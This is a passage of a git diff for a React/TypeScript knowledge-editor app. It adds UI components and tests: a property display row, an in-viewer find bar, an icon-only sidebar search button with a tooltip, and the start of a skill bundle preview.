+ const shadow = hostRef.current?.querySelector(FILE_TREE_TAG_NAME)?.shadowRoot;
+ if (!shadow) return;
+ const apply = () => applyExtensionBadges(shadow);
+ apply();
+ const observer = new MutationObserver(apply);
+ observer.observe(shadow, {
+ subtree: true,
+ childList: true,
+ characterData: true,
+ attributes: true,
+ attributeFilter: ['data-item-path'],
+ });
+ return () => observer.disconnect();
+ }, [ready, hostRef]);
+
+ // Report the tree's true content height (and, when `sizeToContent`, grow the
+ // host to it). The honest height is the virtualizer's total-size, written as an
+ // inline `height` on `[data-file-tree-virtualized-list]` — NOT the scroller's
+ // box metrics (the shadow stylesheet stretches the list to `min-height: 100%`,
+ // so every box metric clamps to the current pane height). Because the list's
+ // border-box stays clamped, a ResizeObserver never fires on content changes —
+ // watch the inline `style` attribute with a MutationObserver instead, plus
+ // model events (expand / collapse / add / remove) and resize.
+ useEffect(() => {
+ if (!onContentHeightChange && !sizeToContent) return;
+ let raf = 0;
+ let attachRaf = 0;
+ const getList = () =>
+ (hostRef.current
+ ?.querySelector(FILE_TREE_TAG_NAME)
+ ?.shadowRoot?.querySelector('[data-file-tree-virtualized-list]') as HTMLElement | null) ??
+ null;
+ const report = () => {
+ const list = getList();
+ if (!list) return;
+ // Report 0 for a genuinely empty tree; skip only the pre-paint state where
+ // the virtualizer hasn't set a height yet (the observer re-fires once it does).
+ const h = Number.parseFloat(list.style.height);
+ if (!Number.isFinite(h)) return;
+ onContentHeightChange?.(h);
+ if (sizeToContent && hostRef.current) hostRef.current.style.height = `${h}px`;
+ };
+ const measure = () => {
+ cancelAnimationFrame(raf);
+ raf = requestAnimationFrame(report);
+ };
+ const mo = new MutationObserver(report);
+ const tryAttach = () => {
+ const list = getList();
+ if (list) {
+ mo.observe(list, { attributes: true, attributeFilter: ['style'] });
+ report();
+ } else {
+ attachRaf = requestAnimationFrame(tryAttach);
+ }
+ };
+ tryAttach();
+ const unsub = model.subscribe(measure);
+ window.addEventListener('resize', measure);
+ return () => {
+ cancelAnimationFrame(raf);
+ cancelAnimationFrame(attachRaf);
+ mo.disconnect();
+ unsub();
+ window.removeEventListener('resize', measure);
+ };
+ }, [onContentHeightChange, sizeToContent, model, hostRef]);
+
+ return (
+ <div ref={hostRef} className={className}>
+ <PierreFileTree
+ header={header}
+ model={model}
+ style={style}
+ {...hostAttrs}
+ onClickCapture={onClickCapture}
+ onMouseMove={onMouseMove}
+ onMouseLeave={onMouseLeave}
+ renderContextMenu={renderContextMenu}
+ />
+ </div>
+ );
+}
diff --git a/packages/app/src/components/PropertyDisplayRow.dom.test.tsx b/packages/app/src/components/PropertyDisplayRow.dom.test.tsx
new file mode 100644
index 000000000..4f0962c60
--- /dev/null
+++ b/packages/app/src/components/PropertyDisplayRow.dom.test.tsx
@@ -0,0 +1,27 @@
+import { render, screen } from '@testing-library/react';
+import { describe, expect, test } from 'vitest';
+import { Input } from '@/components/ui/input';
+import { PropertyDisplayRow } from './PropertyDisplayRow';
+
+describe('PropertyDisplayRow', () => {
+ test('associates editable labels and keeps the shared gutter', () => {
+ const { container } = render(
+ <PropertyDisplayRow icon={<span>icon</span>} label="name" htmlFor="name-input">
+ <Input id="name-input" />
+ </PropertyDisplayRow>,
+ );
+
+ expect(screen.getByText('name').closest('label')?.htmlFor).toBe('name-input');
+ expect(container.querySelector('[data-slot="property-row-gutter"]')).not.toBeNull();
+ });
+
+ test('renders static keys without claiming a label relationship', () => {
+ render(
+ <PropertyDisplayRow icon={<span>icon</span>} label="tags">
+ <span>Empty</span>
+ </PropertyDisplayRow>,
+ );
+
+ expect(screen.getByText('tags').closest('label')).toBeNull();
+ });
+});
diff --git a/packages/app/src/components/PropertyDisplayRow.tsx b/packages/app/src/components/PropertyDisplayRow.tsx
new file mode 100644
index 000000000..c6efd9650
--- /dev/null
+++ b/packages/app/src/components/PropertyDisplayRow.tsx
@@ -0,0 +1,44 @@
+import type { ReactNode } from 'react';
+
+const LABEL_CLASS =
+ 'flex h-7 w-32 shrink-0 items-center truncate px-2 text-sm text-muted-foreground';
+
+/**
+ * Shared property display grid for editable identity rows and static previews.
+ * `htmlFor` turns the key into a real label; static values use the same column
+ * without claiming a label relationship.
+ */
+export function PropertyDisplayRow({
+ icon,
+ label,
+ htmlFor,
+ children,
+ testId,
+ dataKey,
+}: {
+ icon: ReactNode;
+ label: string;
+ htmlFor?: string;
+ children: ReactNode;
+ testId?: string;
+ dataKey?: string;
+}) {
+ return (
+ <div className="group flex items-start gap-1 py-0.5" data-testid={testId} data-key={dataKey}>
+ <span aria-hidden className="h-7 w-4 shrink-0" data-slot="property-row-gutter" />
+ <div className="flex items-center gap-1">
+ <span className="flex size-7 shrink-0 items-center justify-center text-muted-foreground">
+ {icon}
+ </span>
+ {htmlFor ? (
+ <label htmlFor={htmlFor} className={LABEL_CLASS}>
+ {label}
+ </label>
+ ) : (
+ <span className={LABEL_CLASS}>{label}</span>
+ )}
+ </div>
+ <div className="min-w-0 flex-1 text-sm">{children}</div>
+ </div>
+ );
+}
diff --git a/packages/app/src/components/PropertyPanel.tsx b/packages/app/src/components/PropertyPanel.tsx
index ff7be3d3e..29146823e 100644
--- a/packages/app/src/components/PropertyPanel.tsx
+++ b/packages/app/src/components/PropertyPanel.tsx
@@ -29,7 +29,7 @@ import {
} from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
import { AlertTriangle, Plus } from 'lucide-react';
-import { useEffect, useRef, useState } from 'react';
+import { type ReactNode, useEffect, useRef, useState } from 'react';
import { CommentedDocProvider } from '@/comments/CommentedDocContext';
import { PropertyCommentButton } from '@/comments/PropertyCommentButton';
import { FrontmatterBindingProvider } from '@/components/FrontmatterBindingContext';
@@ -58,6 +58,14 @@ interface PropertyPanelProps {
* panel renders every field unchanged.
*/
reservedKeys?: readonly string[];
+ /**
+ * Identity rows rendered at the TOP of the Properties disclosure, above the
+ * auto-rendered frontmatter rows. The skill panel passes its `name` row here
+ * so `name` reads as the first property (with a fixed, non-editable key) while
+ * still committing a rename rather than a plain patch. Keep the corresponding
+ * keys in `reservedKeys` so they aren't double-rendered as frontmatter rows.
+ */
+ identitySlot?: ReactNode;
}
function readInitialSnapshot(provider: PropertyPanelProps['provider']): FrontmatterSnapshot {
@@ -67,7 +75,7 @@ function readInitialSnapshot(provider: PropertyPanelProps['provider']): Frontmat
return { map, keys, parseError };
}
-export function PropertyPanel({ provider, reservedKeys }: PropertyPanelProps) {
+export function PropertyPanel({ provider, reservedKeys, identitySlot }: PropertyPanelProps) {
const { t } = useLingui();
const reserved = new Set(reservedKeys ?? []);
// Binding for read + write — over the YAML region of `Y.Text('source')`.
@@ -400,7 +408,7 @@ export function PropertyPanel({ provider, reservedKeys }: PropertyPanelProps) {
const dupCount = new Map<string, number>();
for (const k of renderKeys) dupCount.set(k, (dupCount.get(k) ?? 0) + 1);
- if (renderKeys.length === 0 && !adding && !parseError) return null;
+ if (renderKeys.length === 0 && !adding && !parseError && !identitySlot) return null;
// Flush-left alignment. Sortable rows carry a drag-handle gutter (FrontmatterRow:
// a `w-4` handle + `gap-1` = 1.25rem) that pushes the type-icon column right of
@@ -451,6 +459,9 @@ export function PropertyPanel({ provider, reservedKeys }: PropertyPanelProps) {
</div>
</div>
) : null}
+ {/* Identity rows (e.g. a skill's `name`) render first — they are the
+ doc's fixed-key properties, above the free-form frontmatter rows. */}
+ {identitySlot}
<DndContext
sensors={sensors}
collisionDetection={closestCenter}
diff --git a/packages/app/src/components/ProseFindBar.tsx b/packages/app/src/components/ProseFindBar.tsx
new file mode 100644
index 000000000..1b08c4986
--- /dev/null
+++ b/packages/app/src/components/ProseFindBar.tsx
@@ -0,0 +1,146 @@
+/**
+ * In-viewer find bar for read-only rendered prose (§8.4) — Cmd/Ctrl+F inside a
+ * read-only surface opens it; matches highlight via the CSS Custom Highlight
+ * API (`CSS.highlights`), so the DOM is never rewritten (no <mark> injection
+ * into TipTap's rendered output). Self-contained + surface-agnostic: give it
+ * the scroll container ref and it owns query state, match ranges, highlight
+ * painting, and next/prev navigation. Works identically in web and desktop —
+ * no Electron `findInPage` IPC (which would also highlight the sidebar).
+ *
+ * The text viewer (CodeMirror) doesn't need this — `basicSetup` ships the CM
+ * search keymap, so Cmd+F there opens CodeMirror's own panel when focused.
+ */
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ChevronDown, ChevronUp, X } from 'lucide-react';
+import { type RefObject, useEffect, useRef, useState } from 'react';
+import { Button } from '@/components/ui/button';
+import { Input } from '@/components/ui/input';
+
+const HIGHLIGHT_ALL = 'ok-find';
+const HIGHLIGHT_ACTIVE = 'ok-find-active';
+
+function collectMatchRanges(root: HTMLElement, query: string): Range[] {
+ const needle = query.toLowerCase();
+ if (needle === '') return [];
+ const ranges: Range[] = [];
+ const walker = document.createTreeWalker(root, NodeFilter.SHOW_TEXT);
+ for (let node = walker.nextNode(); node !== null; node = walker.nextNode()) {
+ const text = node.textContent ?? '';
+ const lower = text.toLowerCase();
+ let idx = lower.indexOf(needle);
+ while (idx >= 0) {
+ const range = document.createRange();
+ range.setStart(node, idx);
+ range.setEnd(node, idx + needle.length);
+ ranges.push(range);
+ idx = lower.indexOf(needle, idx + needle.length);
+ }
+ }
+ return ranges;
+}
+
+export function ProseFindBar({
+ containerRef,
+ onClose,
+}: {
+ /** The scrollable element holding the rendered prose to search. */
+ containerRef: RefObject<HTMLElement | null>;
+ onClose: () => void;
+}) {
+ const { t } = useLingui();
+ const inputRef = useRef<HTMLInputElement | null>(null);
+ const [query, setQuery] = useState('');
+ const [matches, setMatches] = useState<Range[]>([]);
+ const [active, setActive] = useState(0);
+
+ useEffect(() => {
+ inputRef.current?.focus();
+ }, []);
+
+ // Recompute + repaint on query change; clear the painted highlights on
+ // unmount so closing the bar removes every mark.
+ // biome-ignore lint/correctness/useExhaustiveDependencies: containerRef is a stable ref
+ useEffect(() => {
+ const root = containerRef.current;
+ const highlights = CSS.highlights;
+ if (!root || highlights === undefined) return;
+ const ranges = collectMatchRanges(root, query.trim());
+ setMatches(ranges);
+ setActive(0);
+ highlights.set(HIGHLIGHT_ALL, new Highlight(...ranges));
+ return () => {
+ highlights.delete(HIGHLIGHT_ALL);
+ highlights.delete(HIGHLIGHT_ACTIVE);
+ };
+ }, [query]);
+
+ // Paint + scroll the active match.
+ useEffect(() => {
+ const highlights = CSS.highlights;
+ if (highlights === undefined) return;
+ const current = matches[active];
+ if (current === undefined) {
+ highlights.delete(HIGHLIGHT_ACTIVE);
+ return;
+ }
+ highlights.set(HIGHLIGHT_ACTIVE, new Highlight(current));
+ const el = current.startContainer.parentElement;
+ el?.scrollIntoView({ block: 'nearest' });
+ }, [matches, active]);
+
+ const step = (dir: 1 | -1) => {
+ if (matches.length === 0) return;
+ setActive((a) => (a + dir + matches.length) % matches.length);
+ };
+
+ return (
+ <div className="absolute top-2 right-4 z-10 flex items-center gap-1 rounded-md border bg-popover p-1 shadow-md">
+ <Input
+ ref={inputRef}
+ value={query}
+ onChange={(e) => setQuery(e.target.value)}
+ placeholder={t`Find`}
+ aria-label={t`Find in file`}
+ className="h-7 w-44"
+ onKeyDown={(e) => {
+ if (e.key === 'Enter') step(e.shiftKey ? -1 : 1);
+ if (e.key === 'Escape') onClose();
+ }}
+ />
+ <span className="min-w-10 text-center text-muted-foreground text-xs tabular-nums">
+ {query.trim() === '' ? null : matches.length === 0 ? (
+ <Trans>0/0</Trans>
+ ) : (
+ `${active + 1}/${matches.length}`
+ )}
+ </span>
+ <Button
+ variant="ghost"
+ size="icon"
+ className="size-7"
+ onClick={() => step(-1)}
+ aria-label={t`Previous match`}
+ >
+ <ChevronUp className="size-4" aria-hidden />
+ </Button>
+ <Button
+ variant="ghost"
+ size="icon"
+ className="size-7"
+ onClick={() => step(1)}
+ aria-label={t`Next match`}
+ >
+ <ChevronDown className="size-4" aria-hidden />
+ </Button>
+ <Button
+ variant="ghost"
+ size="icon"
+ className="size-7"
+ onClick={onClose}
+ aria-label={t`Close find`}
+ >
+ <X className="size-4" aria-hidden />
+ </Button>
+ </div>
+ );
+}
diff --git a/packages/app/src/components/ReadonlyPropertyPanel.tsx b/packages/app/src/components/ReadonlyPropertyPanel.tsx
index 41a9a7a6c..b325b705a 100644
--- a/packages/app/src/components/ReadonlyPropertyPanel.tsx
+++ b/packages/app/src/components/ReadonlyPropertyPanel.tsx
@@ -21,6 +21,7 @@ import {
} from '@inkeep/open-knowledge-core';
import { Trans } from '@lingui/react/macro';
import { PropertyDisclosure } from '@/components/PropertyDisclosure';
+import { PropertyDisplayRow } from '@/components/PropertyDisplayRow';
import { ComplexValueWidget, isComplexValue, TYPE_ICON } from '@/components/PropertyWidgets';
/**
@@ -67,24 +68,14 @@ export function ReadonlyPropertyPanel({ text }: { text: string }) {
function ReadonlyRow({ keyName, value }: { keyName: string; value: FrontmatterValue }) {
const Icon = TYPE_ICON[inferType(value)];
return (
- <div
- className="group flex items-start gap-1 py-0.5"
- data-testid="readonly-property-row"
- data-key={keyName}
+ <PropertyDisplayRow
+ icon={<Icon className="size-3.5" />}
+ label={keyName}
+ testId="readonly-property-row"
+ dataKey={keyName}
>
- <span
- aria-hidden
- className="flex size-7 shrink-0 items-center justify-center rounded text-muted-foreground"
- >
- <Icon className="size-3.5" />
- </span>
- <span className="flex h-7 w-32 shrink-0 items-center truncate px-2 text-sm text-muted-foreground">
- {keyName}
- </span>
- <div className="min-w-0 flex-1">
- <ReadonlyValue keyName={keyName} value={value} />
- </div>
- </div>
+ <ReadonlyValue keyName={keyName} value={value} />
+ </PropertyDisplayRow>
);
}
diff --git a/packages/app/src/components/SeedDialog.dom.test.tsx b/packages/app/src/components/SeedDialog.dom.test.tsx
index 68dfdd001..3fb0013de 100644
--- a/packages/app/src/components/SeedDialog.dom.test.tsx
+++ b/packages/app/src/components/SeedDialog.dom.test.tsx
@@ -246,7 +246,7 @@ describe('SeedDialog runtime behavior', () => {
ok: true,
plan: {
...plainNotesPlan,
- packSkill: { name: 'open-knowledge-pack-plain-notes', pending: true },
+ packSkills: [{ name: 'open-knowledge-pack-plain-notes', pending: true }],
},
});
diff --git a/packages/app/src/components/SeedDialog.tsx b/packages/app/src/components/SeedDialog.tsx
index b97c7721f..2f5326be3 100644
--- a/packages/app/src/components/SeedDialog.tsx
+++ b/packages/app/src/components/SeedDialog.tsx
@@ -195,7 +195,9 @@ export function SeedDialog({ open, onOpenChange, onSeedApplied, initialPackId }:
// predates skills-as-content) reports "already set up" while its skill
// is missing. `applySeed` always (re)authors the skill, so reaching
// apply with only the skill pending fixes it.
- const hasWork = result.plan.created.length > 0 || result.plan.packSkill?.pending === true;
+ const hasWork =
+ result.plan.created.length > 0 ||
+ result.plan.packSkills?.some((s) => s.pending) === true;
setPhase(
hasWork
? { kind: 'plan', plan: result.plan }
@@ -238,7 +240,7 @@ export function SeedDialog({ open, onOpenChange, onSeedApplied, initialPackId }:
// A skill-only apply (folders/templates already present, skill was
// missing) writes 0 file/folder entries but DID (re)install the skill —
// so it isn't "nothing to do".
- const skillReinstalled = planAtClick.packSkill?.pending === true;
+ const skillReinstalled = planAtClick.packSkills?.some((s) => s.pending) === true;
const message =
projectEntries > 0
? t`${packName} initialized (${plural(projectEntries, { one: '# entry', other: '# entries' })})`
@@ -482,7 +484,7 @@ function SeedDialogBody({
return (
<div className="space-y-6 py-1 text-sm">
- {phase.plan.created.length > 0 || phase.plan.packSkill?.pending ? (
+ {phase.plan.created.length > 0 || phase.plan.packSkills?.some((s) => s.pending) ? (
<CreatedItemsList plan={phase.plan} selectedPack={selectedPack} />
) : null}
{phase.plan.warnings.length > 0 ? (
diff --git a/packages/app/src/components/SidebarSearchBar.dom.test.tsx b/packages/app/src/components/SidebarSearchBar.dom.test.tsx
index 96625571a..ec6f676d5 100644
--- a/packages/app/src/components/SidebarSearchBar.dom.test.tsx
+++ b/packages/app/src/components/SidebarSearchBar.dom.test.tsx
@@ -11,7 +11,12 @@ vi.doMock('@lingui/react/macro', () => ({
async function renderSidebarSearchBar(onClick: () => void = () => {}) {
const { SidebarSearchBar } = await import('./SidebarSearchBar');
- render(<SidebarSearchBar onClick={onClick} className="extra-class" />);
+ const { TooltipProvider } = await import('@/components/ui/tooltip');
+ render(
+ <TooltipProvider>
+ <SidebarSearchBar onClick={onClick} className="extra-class" />
+ </TooltipProvider>,
+ );
}
describe('SidebarSearchBar runtime behavior', () => {
@@ -22,18 +27,24 @@ describe('SidebarSearchBar runtime behavior', () => {
expect(typeof mod.SidebarSearchBar).toBe('function');
});
- test('renders an accessible visible-label search button with the locked visual contract', async () => {
+ test('renders an accessible icon-only search button with the locked visual contract', async () => {
await renderSidebarSearchBar();
- const button = screen.getByRole('button', { name: /Search/ });
- expect(button.getAttribute('aria-label')).toBeNull();
- expect(button.getAttribute('data-slot')).toBe('button');
- expect(button.getAttribute('data-variant')).toBe('outline');
+ // Icon-only: the accessible name comes from the aria-label, not a visible
+ // label span. The keyboard hint moved into the (portal-rendered, hover-only)
+ // tooltip, so the button itself carries no visible text or kbd.
+ const button = screen.getByRole('button', { name: 'Search' });
+ expect(button.tagName).toBe('BUTTON');
+ expect(button.getAttribute('aria-label')).toBe('Search');
+ // `asChild` merges the Radix trigger onto the Button, so `data-slot` reads
+ // `tooltip-trigger` (Radix wins the merge) rather than the Button's own slot.
+ expect(button.getAttribute('data-slot')).toBe('tooltip-trigger');
+ expect(button.getAttribute('data-variant')).toBe('ghost');
expect(button.getAttribute('data-telemetry-event')).toBe('ok.sidebar.search_pill.click');
expect(button.classList.contains('extra-class')).toBe(true);
expect(button.querySelector('svg')?.getAttribute('aria-hidden')).toBe('true');
- expect(button.querySelector('span')?.textContent).toBe('Search');
- expect(['⌘ K', 'Ctrl K']).toContain(button.querySelector('kbd')?.textContent);
+ expect(button.textContent).toBe('');
+ expect(button.querySelector('kbd')).toBeNull();
});
test('click delegates to the supplied handler', async () => {
diff --git a/packages/app/src/components/SidebarSearchBar.tsx b/packages/app/src/components/SidebarSearchBar.tsx
index 4746b41dd..2780ff884 100644
--- a/packages/app/src/components/SidebarSearchBar.tsx
+++ b/packages/app/src/components/SidebarSearchBar.tsx
@@ -1,42 +1,27 @@
/**
- * Sidebar search affordance — a labeled `<button>` styled to look like an
- * input. Visible label, leading magnifying-glass icon, trailing always-visible
- * keyboard-shortcut keycap. Clicking invokes the consumer's `onClick` handler;
- * the component owns no semantics beyond that. The keycap is presentational —
- * the component does NOT install a key listener. Callers wire the keyboard
- * binding separately (the editor app registers the global ⌘K/Ctrl+K listener
- * inside CommandPalette at the App root).
+ * Sidebar search affordance — an icon-only `<button>` (magnifying glass) that
+ * sits at the trailing edge of the Files/Skills chrome row. Clicking invokes the
+ * consumer's `onClick` handler; the component owns no semantics beyond that. The
+ * component does NOT install a key listener — callers wire the keyboard binding
+ * separately (the editor app registers the global ⌘K/Ctrl+K listener inside
+ * CommandPalette at the App root); the shortcut shown in the tooltip is
+ * presentational.
*
- * Accessibility: no `aria-label` on the button — the visible "Search" span is
- * contained in the button's accessible name (WCAG 2.5.3 Label in Name; voice-
- * input tools like macOS Voice Control and Dragon match "Click Search" against
- * the substring). The leading Search icon carries `aria-hidden="true"` —
- * decorative, the visible label is the accessible name. The kbd's content is
- * also picked up into the accessible name; that's a minor verbosity, not a
- * violation. (kbd intentionally lacks aria-hidden — Biome's
- * a11y/noAriaHiddenOnFocusable rule flags `aria-hidden="true"` on `<kbd>`
- * because the element has no implicit-role-map entry, so the rule
- * conservatively treats it as potentially interactive. `<kbd>` isn't
- * actually focusable by default, but the outcome — keeping the kbd's
- * content in the accessible name — is what we want regardless.)
- *
- * The kbd's foreground is `text-foreground/70` (not the inherited
- * `text-muted-foreground` from the parent Button) so the keyboard hint hits
- * WCAG 1.4.3 AA contrast (~5.3:1 over `bg-muted` in light theme; ~6.5:1 in
- * dark). The hint is informational — without it, the "discoverable from
- * the surface itself" promise fails for low-vision sighted users. The parent
- * Button's `text-muted-foreground` "Search" label still sits at ~3:1 against
- * the same backgrounds; that's a codebase-wide muted-foreground token
- * concern (also affects every other muted-text-on-muted-bg surface), not
- * fixable here without touching the design-token system.
+ * Accessibility: icon-only, so the button carries a translated `aria-label`
+ * ("Search") as its accessible name (WCAG 2.5.3 Label in Name; voice-input tools
+ * like macOS Voice Control and Dragon match "Click Search" against it). The
+ * Search icon is `aria-hidden`. The keyboard hint moves into the tooltip (with a
+ * `text-foreground/70` kbd for WCAG 1.4.3 AA contrast over the dark tooltip
+ * surface); it is discoverable on hover/focus rather than always-visible.
*/
import { incrementJsxRenderFailure } from '@inkeep/open-knowledge-core';
-import { Trans } from '@lingui/react/macro';
+import { useLingui } from '@lingui/react/macro';
import { Search } from 'lucide-react';
import type { ErrorInfo } from 'react';
import { Button } from '@/components/ui/button';
import { Kbd } from '@/components/ui/kbd';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
import { formatShortcut } from '@/lib/keyboard-shortcuts';
import { cn } from '@/lib/utils';
@@ -76,28 +61,34 @@ export function onPillRenderError(error: unknown, info: ErrorInfo): void {
}
export function SidebarSearchBar({ onClick, className }: SidebarSearchBarProps) {
+ const { t } = useLingui();
+ const label = t`Search`;
return (
- <Button
- variant="outline"
- onClick={onClick}
- // First use of `data-telemetry-event` in the codebase. Convention:
- // `ok.<surface>.<element>.<interaction>` (dot-separated, snake_case
- // for multi-word segments — same shape as the existing `ok.*` OTel
- // span/metric namespace in packages/server/src/telemetry.ts and
- // packages/app/src/telemetry-impl.ts). Stable DOM selector for
- // future click-analytics; not auto-consumed by the existing
- // UserInteractionInstrumentation.
- data-telemetry-event="ok.sidebar.search_pill.click"
- className={cn(
- 'rounded-lg h-9 w-full justify-start gap-2 px-3 font-normal text-muted-foreground',
- className,
- )}
- >
- <Search aria-hidden="true" />
- <span className="flex-1 text-left text-sm">
- <Trans>Search</Trans>
- </span>
- <Kbd className="text-foreground/70">{formatShortcut('command-palette')}</Kbd>
- </Button>
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <Button
+ variant="ghost"
+ size="icon-sm"
+ onClick={onClick}
+ aria-label={label}
+ // `data-telemetry-event` convention:
+ // `ok.<surface>.<element>.<interaction>` (dot-separated, snake_case
+ // for multi-word segments — same shape as the existing `ok.*` OTel
+ // span/metric namespace in packages/server/src/telemetry.ts and
+ // packages/app/src/telemetry-impl.ts). Stable DOM selector for
+ // future click-analytics; not auto-consumed by the existing
+ // UserInteractionInstrumentation. Kept as `search_pill` so historical
+ // analytics stay on one key across the pill→icon redesign.
+ data-telemetry-event="ok.sidebar.search_pill.click"
+ className={cn('shrink-0 text-muted-foreground', className)}
+ >
+ <Search aria-hidden="true" />
+ </Button>
+ </TooltipTrigger>
+ <TooltipContent>
+ {label}
+ <Kbd className="text-foreground/70">{formatShortcut('command-palette')}</Kbd>
+ </TooltipContent>
+ </Tooltip>
);
}
diff --git a/packages/app/src/components/SidebarToolbarButton.tsx b/packages/app/src/components/SidebarToolbarButton.tsx
new file mode 100644
index 000000000..d24a38b5d
--- /dev/null
+++ b/packages/app/src/components/SidebarToolbarButton.tsx
@@ -0,0 +1,57 @@
+import type { ComponentProps, FC } from 'react';
+import { Button } from '@/components/ui/button';
+import { Kbd } from '@/components/ui/kbd';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+import {
+ formatShortcut,
+ formatShortcutLabel,
+ type KeyboardShortcutId,
+} from '@/lib/keyboard-shortcuts';
+
+export interface SidebarToolbarButtonProps extends ComponentProps<typeof Button> {
+ icon: FC<ComponentProps<'svg'>>;
+ label: string;
+ /** Renders the binding as a keycap beside the label, so the shortcut is
+ * discoverable from the control it belongs to rather than only the menu. */
+ shortcutId?: KeyboardShortcutId;
+}
+
+const ToolbarTooltipContent: FC<Pick<SidebarToolbarButtonProps, 'label' | 'shortcutId'>> = ({
+ label,
+ shortcutId,
+}) => {
+ return (
+ <TooltipContent>
+ <span>{label}</span>
+ {shortcutId ? (
+ <>
+ {' '}
+ <Kbd aria-label={formatShortcutLabel(shortcutId)}>{formatShortcut(shortcutId)}</Kbd>
+ </>
+ ) : null}
+ </TooltipContent>
+ );
+};
+
+/**
+ * An icon action that sits inline on a section's root row (the project folder
+ * row, the Skills row). Shared so the two sidebar sections present the same
+ * control rather than each growing its own.
+ */
+export const SidebarToolbarButton: FC<SidebarToolbarButtonProps> = ({
+ icon: Icon,
+ label,
+ shortcutId,
+ ...props
+}) => {
+ return (
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <Button variant="ghost" size="icon-sm" aria-label={label} {...props}>
+ <Icon aria-hidden="true" />
+ </Button>
+ </TooltipTrigger>
+ <ToolbarTooltipContent label={label} shortcutId={shortcutId} />
+ </Tooltip>
+ );
+};
diff --git a/packages/app/src/components/SkillBundlePreview.tsx b/packages/app/src/components/SkillBundlePreview.tsx
new file mode 100644
index 000000000..36e5a0034
--- /dev/null
+++ b/packages/app/src/components/SkillBundlePreview.tsx
@@ -0,0 +1,305 @@
+import type { SkillPreview as SkillPreviewData, SkillScope } from '@inkeep/open-knowledge-core';
+import {
+ extractFrontmatterTags,
+ skillFileLiveDocName,
+ skillLiveDocName,
+ stripFrontmatter,
+ unwrapFrontmatterFences,
+} from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { AlignLeft, Eye, Tag, Type } from 'lucide-react';
+import { type ReactNode, useEffect, useRef, useState } from 'react';
+import { PropertyDisplayRow } from '@/components/PropertyDisplayRow';
+import { ProseFindBar } from '@/components/ProseFindBar';
+import { SkillMarkdownViewer } from '@/components/SkillMarkdownViewer';
+import { SkillModeBanner } from '@/components/SkillModeBanner';
+import { useFindInViewer } from '@/hooks/use-find-in-viewer';
+import { subscribeToSkillsChanged } from '@/lib/documents-events';
+import { skillTint } from '@/lib/skill-tint';
+import { fetchSkillPreview } from '@/lib/skills-api';
+
+const SKILL_MD = 'SKILL.md';
+
+// Per-session preview cache, keyed by source+name. `SkillPreviewTab` is keyed by
+// `flavor:source:name`, so every open remounts this component; without a cache it
+// re-fetches `/api/skills/preview` and re-flashes the loading skeleton each time.
+// Seeding from the cache makes re-opening a skill (and clicking between detected
+// skills) instant. A preview is a read-only snapshot, so a cached entry is fine
+// until `skills-changed` (manage / import / delete) clears the cache.
+const previewCache = new Map<string, SkillPreviewData>();
+
+interface SelectedFile {
+ path: string;
+ content: string;
+ /** Rendered markdown (SKILL.md + `.md`/`.mdx` references) vs raw `<pre>` (scripts). */
+ md: boolean;
+}
+
+interface Props {
+ /** Source handed to `/api/skills/preview`: a repository/website skills.sh
+ * source or a local skill directory for a Detected one. */
+ source: string;
+ name: string;
+ /** Subtitle under the name — the repo (skills.sh) or the harness home (Detected). */
+ subtitle: string;
+ /** Seed for the avatar + no-preview banner tint. */
+ tintKey: string;
+ /** The primary Manage/Import action plus any external links — fully owned by
+ * the caller so each source differs. Rendered as a compact top-right cluster. */
+ headerActions: ReactNode;
+ /** The left-side header sentence ("This is a preview of X…") — caller-owned so
+ * it can bold the name + level and name the exact next action (Import/Manage).
+ * Rendered inline after the eye marker. */
+ headerLine: ReactNode;
+ /** Shown when there's no readable preview (skills.sh passes its OG image);
+ * falls back to a gradient banner when omitted. */
+ noPreviewFallback?: ReactNode;
+ /** The right-docked "Show terminal" reveal tab floats over this pane's
+ * top-right corner; shift the action cluster left so they sit in one row. */
+ reserveRightGutter?: boolean;
+ /** Controlled selected file (`SKILL.md` / a bundle `relPath`), driven by the
+ * sidebar tree via the hash; omit for the SKILL.md-only standalone view. */
+ selectedPath?: string;
+ /** The skill's scope, when it has a resolved bundle identity (built-in /
+ * imported). Used only to build the relative-link base so `references/*`
+ * links in the rendered SKILL.md resolve to bundle docs instead of rendering
+ * broken (§8.3). Omit for an un-imported explore skill. */
+ scope?: SkillScope;
+ /** Fires with the fetched preview payload (also on a cache hit) so the caller
+ * can lift response-only metadata (e.g. plugin provenance) into its header. */
+ onPreviewMeta?: (preview: SkillPreviewData) => void;
+ /** Optional disclosure rendered between the header and the SKILL.md body,
+ * above the properties (e.g. the "part of a full plugin" banner). Only shown
+ * on the SKILL.md view, not when a bundle file is selected. */
+ banner?: ReactNode;
+ /** Click handler for a `references/…` bundle-path chip in the rendered SKILL.md
+ * — switches the preview's selected file in place. Return
+ * `true` to mark the click handled. Omit for previews with no bundle identity. */
+ onBundlePathClick?: (path: string) => boolean;
+}
+
+/**
+ * Full-page read-only preview of ONE skill bundle, laid out to read like a
+ * normal document tab: its `SKILL.md` rendered through the editor's own
+ * read-only markdown viewer (the same prose it shows once imported), with the
+ * read-only properties above it — all in one doc-width column. Bundle-file
+ * navigation lives in the sidebar tree only (the in-preview FILES list was
+ * removed as redundant). Source-agnostic: repository-backed, website-backed,
+ * and local Detected skills all flow through
+ * `/api/skills/preview`. Mount with a per-skill `key` so the fetch effect runs
+ * once per open and the `AbortController` only fires on unmount, never mid-life.
+ */
+export function SkillBundlePreview({
+ source,
+ name,
+ subtitle,
+ tintKey,
+ headerActions,
+ headerLine,
+ noPreviewFallback,
+ banner,
+ reserveRightGutter = false,
+ selectedPath: selectedPathProp,
+ scope,
+ onBundlePathClick,
+ onPreviewMeta,
+}: Props) {
+ const { t } = useLingui();
+ const cacheKey = `${source}::${name}`;
+ const [preview, setPreview] = useState<SkillPreviewData | null>(
+ () => previewCache.get(cacheKey) ?? null,
+ );
+ const [previewLoaded, setPreviewLoaded] = useState(() => previewCache.has(cacheKey));
+ const selectedPath = selectedPathProp ?? SKILL_MD;
+ const rootRef = useRef<HTMLDivElement | null>(null);
+ const scrollRef = useRef<HTMLDivElement | null>(null);
+ const { findOpen, setFindOpen } = useFindInViewer(rootRef);
+
+ useEffect(() => {
